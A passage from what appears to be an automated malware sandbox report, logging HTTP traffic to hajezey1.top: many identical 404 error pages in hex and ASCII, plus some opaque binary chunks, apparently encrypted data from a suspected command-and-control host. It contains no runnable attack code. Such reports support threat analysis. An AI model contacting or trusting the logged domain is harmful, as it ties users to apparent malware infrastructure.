server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 13:30:18 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 13:30:19 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 13:30:19 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 22 60 1b d6 88 67 a1 c2 8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b 93 e2 86 38 f8 f3 a4 7c 1d 16 4d aa 8f 8c f5 cf 9b 2b 25 9b f6 ba e9 1a b0 1c 07 74 d2 87 9a 87 cd 2b 80 78 51 a1 a2 8f 3c 65 dd 1c e0 32 02 50 08 a8 da e2 30 a5 59 93 9b b7 4f f3 e0 e6 62 79 04 54 ea d6 d7 0c 3d 61 1d 27 f4 d2 af 34 91 b4 b9 21 80 20 59 55 11 5c 92 86 64 ab 49 11 80 c8 58 4b 67 13 d2 18 5b 47 86 65 39 15 32 29 c5 f7 15 67 aa cf 20 c0 7a 9f 06 a2 7f c1 96 98 8b 36 85 92 c9 8a 5c d8 06 0e 45 27 11 7d 87 f8 e0 04 89 f9 d4 57 80 90 70 89 ec 9c 48 6b 0e e1 a2 22 48 f2 d0 49 a1 ff bc ff 1f fd f5 3f f4 6f d3 7c cb 36 d2 ce 4e 49 b3 0b 5b 4c 65 55 5b ad 30 7a 83 3b 2b ca c3 e3 b2 ec 92 90 0f 1c 57 ee 87 7e 0c 35 8a 3d 50 7f d0 56 81 b6 9b 97 96 70 9f 8a 86 e8 47 5a ad b2 cb 99 6c 71 11 87 02 b1 b8 56 b0 40 f6 0a bf 8b 71 91 ce 21 b5 1e 55 df 76 79 d3 4f 5a 96 da 19 d1 3a 2d ca 41 06 02 25 47 c2 fa 6b 8a b2 e2 4b 6d ec c0 40 a4 e2 d0 d7 d9 86 4e 85 8b 51 b0 3e 5b f3 99 84 4a 04 38 8d 7d 14 2c d0 e8 b1 14 1d 73 10 22 17 4a 86 47 30 5a 22 a2 3f 0b 8e 6b 51 fd b5 54 02 f9 ee f8 b2 d6 4a 1f a7 e9 4d 51 02 43 64 cd 25 5c 8d b7 d7 21 0c 26 17 51 d2 eb e9 23 19 9d 46 3c 70 76 41 ae a6 c3 88 3e 9d 43 dd 17 fe 2f 43 9e f8 d8 62 47 42 f5 6a b7 be 34 56 9b 46 76 99 86 11 00 83 32 42 ea 6f cf ae 04 5d 94 36 e1 48 50 67 35 50 b8 81 be f0 80 de 5b 46 6a 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ec f8 b9 5f 14 2c f2 e6 2f bd 44 ef bf 8b 4f dc ea 90 39 02 97 ab a4 57 25 f5 b8 d0 a7 85 62 4a 52 7d 54 7a 08 6c 39 c0 5e f3 5c 19 6d 63 95 be 07 3d da 9a 3e 05 22 7d e6 b2 68 60 bd 10 31 eb cd fc 25 15 8e b7 82 7f 8e 40 b6 f1 47 4e a1 21 84 88 4b 2e 69 81 77 af dd c6 83 41 df 30 ae b8 e8 21 10 a0 57 6e 61 87 bd 77 6a 67 09 0f 8a ef 22 3b 6b 81 c7 86 7a 8e 52 d3 e4 9e 4e 7b d6 7d 00 2c 0f 7a d7 9b 48 0b ad 8b bc 08 85 f7 8f 82 42 b7 28 85 d8 da 14 79 a2 8e b9 08 c0 fe 77 c6 1d 2b 15 bf fa a5 e9 a8 b2 13 3b 35 02 1a 1b eb c2 f5 6c 8d e3 17 d3 83 6f ce ed 3f ec cf 81 68 73 02 99 ea a6 f5 c3 05 d0 b3 d3 23 39 41 c4 a5 c8 63 77 ca 0b 8f bd d9 39 6b a1 99 98 77 e8 0f 4e 8c da 06 bd 37 87 8c b4 26 b8 2c 58 b2 77 6c 08 d8 f9 d2 eb 48 25 66 34 2d 6f 77 5e a5 37 48 84 99 ff 67 37 f9 ad a1 97 3b 86 f3 3d 98 bb 1f 67 c7 26 e1 39 c6 86 8e f0 09 af 63 9b 09 09 a8 00 13 30 7b 88 cc c9 e1 a3 c3 e5 0f 25 93 23 c4 a9 d7 cf 8e 3d 39 dc 46 ba 58 dc be b0 98 3f d8 94 eb 53 43 a1 0c 97 e4 6e 76 f9 14 34 0b 64 82 b2 64 4f 55 e0 ca 5e c3 bd c0 88 0b 54 d9 1d 69 7a de ff 3d e1 03 70 2e 1f f4 d4 6a a9 a9 16 da
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 13:30:21 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 13:30:21 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 13:30:21 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 13:30:22 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 13:30:22 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 42 60 1b d6 88 67 a1 c2 8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b 76 92 71 06 45 a6 3e 11 dc a4 a3 a6 7e d8 6c a2 05 09 17 f6 cb ee 72 76 25 3f 50 19 01 bf 01 ea 53 01 b3 15 20 f5 3b e2 2a c2 d5 71 18 46 9b 3d f9 5c 40 8f ba f1 80 fe 05 b5 79 9e 10 b0 fb 14 9e 76 e9 bb 27 58 a4 0c 87 05 f0 bf 5f 60 08 d9 eb a8 e1 48 a8 03 88 31 7c 3b 66 ab 4b 11 c0 4d 08 0e 77 13 9e 09 5f 47 0b 5d 16 75 32 39 c5 f7 15 67 aa cf d0 c0 78 9e 0d a3 75 c1 96 52 88 36 19 ff bd 88 13 d8 06 0e 25 4f 12 7d 6f ed e0 04 89 19 d7 57 80 90 30 89 ec f4 4a 6b b6 f0 a2 22 4d 32 d3 49 ad ff bc ff 1a fd f4 3f f4 6f d3 7c cb c6 a8 cc 4e 4d b3 0b 97 2a 60 55 59 ad 30 fb 83 3b 3b ca c3 f3 b2 ec 92 90 1f 1c 57 fe 87 7e 0c 35 8a 3d 40 7f d0 56 81 96 9b 97 9e 70 9f 8a a2 25 44 5a c9 b2 cb 99 64 21 68 85 d2 f8 b8 56 b0 40 f6 0a bf 8b 71 91 e0 55 d0 66 21 df 76 79 27 e4 21 94 42 22 d1 3a 0d b4 43 06 1e 27 47 c2 fa 6b 8a b2 e2 4b 6d ec c0 40 a4 e2 f0 d7 d9 e6 60 f7 f8 23 d3 3e 5b f3 91 3d 4b 04 78 2d 7f 14 2c d6 e8 b1 14 73 71 10 22 07 4a 86 97 31 5a 22 a2 3f 0b 8e 2b 51 fd f5 7a 70 9c 82 97 d1 d6 4a 13 a7 e9 4d 51 c2 41 64 e3 53 39 f5 c3 a3 23 0c 28 df 52 d2 eb f9 23 19 9d 8c 3f 70 36 45 ae e4 c3 88 3e 9d 43 dd 17 fe 2f 43 9e f8 f8 62 47 22 0b 85 d4 ca 55 56 9b 46 76 1d f3 13 02 63 34 42 c2 0c ce ae 70 85 96 36 e2 48 50 67 74 50 b8 87 f6 bc 81 de fb 6e 6a f6 e1 7b 54 3c 81 d2 be 95 df e2 63 10 ec 88 c0 5d 14 66 f2 e6 2f 59 47 ef bf 8b 4f dc ea 90 39 02 97 ab a4 57 65 f5 b8 90 c4 f7 07 26 67 1e 54 7a 54 4f 38 c0 5e 33 25 1b 6e 47 94 be 07 13 de 9a 3e 05 22 7d e6 b2 68 60 b9 10 31 eb 8d fc 25 57 8e b7 82 7f 8e 40 b6 f1 b8 4e a1 21 7b 88 4b 2e 69 81 77 af dd c6 83 41 67 30 ae b8 e8 21 10 a0 57 6e 61 87 bd 77 6a 67 09 0f 8a ef 22 3b 6b 81 c7 86 7a 8e 52 d3 e4 9e 0e 7b d6 7d 00 2c 0f 7a d7 9b 48 0b ad 8b bc 08 85 f7 8f 82 42 b7 28 85 d8 da 14 79 a2 8e b9 08 c0 fe 77 c6 1d 2b 15 bf fa a5 e9 a8 b2 13 3b 35 02 1a 1b eb c2 f5 6c 8d e3 17 d3 83 6f ce ed 3f ec cf 81 68 73 02 99 ea a6 f5 c3 05 d0 b3 d3 23 39 41 c4 a5 c8 63 77 ca 0b 8f bd d9 39 6b a1 99 98 77 e8 0f 4e 8c da 06 bd 37 87 8c b4 26 b8 2c 58 b2 77 6c 08 d8 f9 d2 eb 48 25 66 34 2d 6f 77 5e a5 37 48 84 99 ff 67 37 f9 ad a1 97 3b 86 f3 bd 98 bb 1f 67 c7 26 e1 39 c6 86 8e f0 09 af 63 95 09 09 a8 1f 13 30 7b 32 cc c9 e1 ad c3 e5 0f 25 93 23 c4 1d d7 cf 8e 34 39 dc 46 77 58 dc be 91 98 3f d8 2c eb 53 43 a0 0c 97 e4 22 76 f9 14 f9 0b 64 82 93 64 4f 55 b4 ca 5e c3 d5 c0 88 0b 3d d9 1d 69 09 de ff 3d c1 03 70 2e 6f f4 d4 6a db a9 16 da
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 13:30:25 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 13:30:25 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 39 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d2 9e 55 06 63 17 e5 ff dc fc be 1e b4 53 d9 63 ba 53 11 91 1d f4 0d 0a 30 0d 0a 0d 0a Data Ascii: 29I:82OUcScS0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 13:30:29 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 